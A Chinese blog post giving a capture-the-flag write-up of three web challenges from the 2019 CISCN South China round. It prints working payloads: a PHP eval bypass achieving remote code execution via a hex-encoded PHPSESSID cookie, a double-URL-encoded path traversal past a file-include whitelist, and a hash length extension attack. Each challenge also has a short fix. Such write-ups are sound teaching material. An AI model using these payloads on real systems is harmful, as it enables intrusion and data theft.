Loading


目录
  1. 1. Web1
    1. 1.1. Break It
    2. 1.2. Fix it
  2. 2. web7
    1. 2.1. Break it
    2. 2.2. Fix it
  3. 3. web10
    1. 3.1. Break it
    2. 3.2. Fix it
2019年CISCN(全国大学生信息安全竞赛)华南赛区wp
  1. 题目是在Fix It环境拷下来的,写writeup时的环境是自己搭的
  2. 有些题目忘记拷贝数据库,各位大佬凑活看吧
  3. 题目的GitHub仓库:https://github.com/NS-Sp4ce/2019-Ciscn-Southern-China-Web

Web1

Break It

打开页面如下

1562850051215

按照惯例Ctrl+U看源代码,发现被注释的<!-- <p class="forgot"><a id="iforget" href="forgetpassword.php">Forgot your password?</a></p>-->

1562850150394

字面意思是重置密码的页面,访问试试

1562850199817

由于不知道用户名,抓包随便输入个用户名看看返回的信息

1562850323023

OK,找个用户名字典爆破下

1562850802531

设置下

1562850369376

爆破出admin123这个用户存在

1562850867761

输入后,跳转到下一个页面

1562850892755

4位验证码爆破走起

Burpsuite

1562850976886

设置

1562850969198

走起,然后踩了第一个坑

1562851061799

验证码全部错误,Ctrl+U看了下源代码

1562851107127

哦豁,设置base64编码

1562851144415

继续爆破,时间不长出现重置密码的信息

1562851197988

用户名admin123,密码f4h1l0t0j2g5b1m0a0m0a3d2d0,登上去看看

1562851268627

提示phpmyadmin,进去看看

打开后发现

1562854196288

这时候比赛方放出hint,备份文件,然后,一顿扫

1562854391609

扫出备份文件

1562854426155

提示

Why not try code breaking?
//mDjNaF.php

1562854458724

<?php 

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { 
    eval($_GET['code']); 
} else { 
    show_source(__FILE__); 
} 

接下来的步骤在赛后参考了2018RCTF的原题r-cursivehttps://delcoding.github.io/2018/05/rctf-web-writeup1/#r-cursive)

根据正则匹配条件和本地搭环境调试可以知道只能执行不带参数、函数名不含包括_在内的特殊符号,所以只能是x(y(z()))此类的调用形式。所以从code参数里进行函数执行是不太可能的了,比赛时也没有想到突破方法,后来才得知可以运行http header头来进行处理。

PHP中可以使用get_headers,getallheaders获得HTTP请求头的信息,并返回键值数组,所以我们就只能用getallheaders()来获取。又因为返回的是数组,我们可以使用implode()来将数组转换成字符串。所以我们初步构造:implode(getallheaders())。但如果仅是这样还不能运行我们的代码,因为implode()返回的已经是字符串了,"implode()"(注意"),有相当于多嵌套了一层字符,所以我们应该使用eval(implode(getallheaders()));来进行执行。

然后又发现cookie中的PHPSESSID可控,PHPsession_id()函数可以获取 PHPSESSID,如果没有开启 session可以使用 session_start()函数。由于不能带参数,我们可以将命令转化为 hex 再用 hex2bin()函数转换,尝试构造请求包如下

GET /mDjNaF.php?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1
Cookie: PHPSESSID=6563686f2754455354273b
Host: 192.168.2.227:81
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

1562895846737

这样就可以构造RCE了

Payload:

GET /mDjNaF.php?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1
Cookie: PHPSESSID=6563686f2066696c655f6765745f636f6e74656e747328222f666c616722293b

6563686f2066696c655f6765745f636f6e74656e747328222f666c616722293bHex解码后为echo file_get_contents("/flag");

Fix it

修改mDjNaF.php文件,注释掉eval函数。

web7

Break it

打开题目

1563019511983

查看下源代码

1563019528128

注释掉了一个名为sourcephp文件,访问下

1563019564987

<?php
    class kind
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","aa"=>"aa.php"];//白名单
            if (! isset($page) || !is_string($page)) {//判断是否传递了page参数
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {//判断page是否在白名单里
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );//进行问号截取
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );//出问题的代码
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && kind::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];//文件包含
        exit;
    } else {
       echo "<h>Look carefully and you will find the answer.</h><br>";
    }  
?>

源代码显示是文件包含类型的,想要利用需要满足3个条件

  1. file参数不为空
  2. file参数是字符串
  3. 通过kind类中的checkFile方法

所以用%253f(二次URL解码后是?)就可以绕过了,PAYLOAD:file=source.php%253f/../flag.php

1563020120782

查看源代码是

1563020138445


<html>
<head>
<title>猜密码</title>
</head>
<body>
<!-- 
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
    if ($_POST['pwd'] == $_SESSION['pwd'])
        die('Flag:'.$flag);
    else{
        print '<p>猜测错误.</p>';
        $_SESSION['pwd']=time().time();
    }
}
-->
<form action="index.php" method="post">
密码:<input type="text" name="pwd"/>
<input type="submit" value="猜密码"/>
</form>
</body>
</html>

如果postpwd等于当前的时间的时间戳,就返回flag,尝试过提前预判时间,发现不可以,就只能直接入手题目了,这里用到了一个弱比较,来进行一个空比较,session ID是我们可控的,pwd也是我们可控的,唯一就是session我们无法控制是多少,但是可以置为空,所以直接post空的pwd过去就可以了(这是fix后的)

1563020450719

Fix it

  1. 可参考phpmyadmin官方的修复方式
  2. die('Flag:'.$flag);->die('Flag:NOPE');

web10

Break it

打开是个卫星控制系统,要日卫星?

1563443581056

查看下robots.txt

1563443609590

访问看看

1563443626224

登录时抓包,发现有段hash_key

1563443679265

猜测是md5后的值,探测下目录

1563443766952

发现了License.txt

访问后发现了部分源代码

1563443803943


$flag = "flag{xxxxxx_just_a_sample_xxxxxxx}";
$bisskey = "xxxxxxxxx_just_a_sample_xxxxxxx"; // To remember Easily, 10 chars allowed.

$username = $_POST["username"];
$password = $_POST["password"];
header("hash_key:" . $hash_key);


if (!empty($_COOKIE["MyIdentity"])) {
    if (urldecode($username) === "admin123" && urldecode($password) != "admin123") {
        if ($_COOKIE["MyIdentity"] === md5($bisskey . urldecode($username .$password))) {
            echo "Great! You win!\n";
            echo ("<!-- Y0ur f!4g 1s here ". $flag . "-->");
        }
        else {
            die ("I don't konw what you say!");
        }
    }
    else {
        die ("I don't konw what you say!");
    }
}

setcookie("hash_key", md5($bisskey . urldecode("admin123" . "admin123")), time() + (60 * 60 * 24 * 7));//hashkey算法

其中hash_key算法为$bisskey(长度10的字符串)与url解码后的admin123admin123相连接后进行md5加密,爆破是不可能爆破了,查阅资料后发现可以用哈希扩展攻击,构造payload:

[email protected]:~/hash_extender# ./hash_extender --data admin123admin123 --secret 10 --append ciscn --signature e7187cb49ce6d5958d279284af968254 --format md5
Type: md5
Secret length: 10
New signature: c862a00ecfd776d1907b30da639431e7
New string: 61646d696e31323361646d696e313233800000000000000000000000000000000000000000000000000000000000d000000000000000636973636e

替换MyIdentifypassword后即可获得flag

1563445111368

Fix it

改掉bisskey的值

文章作者: Sp4ce
文章链接: https://0x20h.com/p/ece4.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Sp4ce's Blog

评论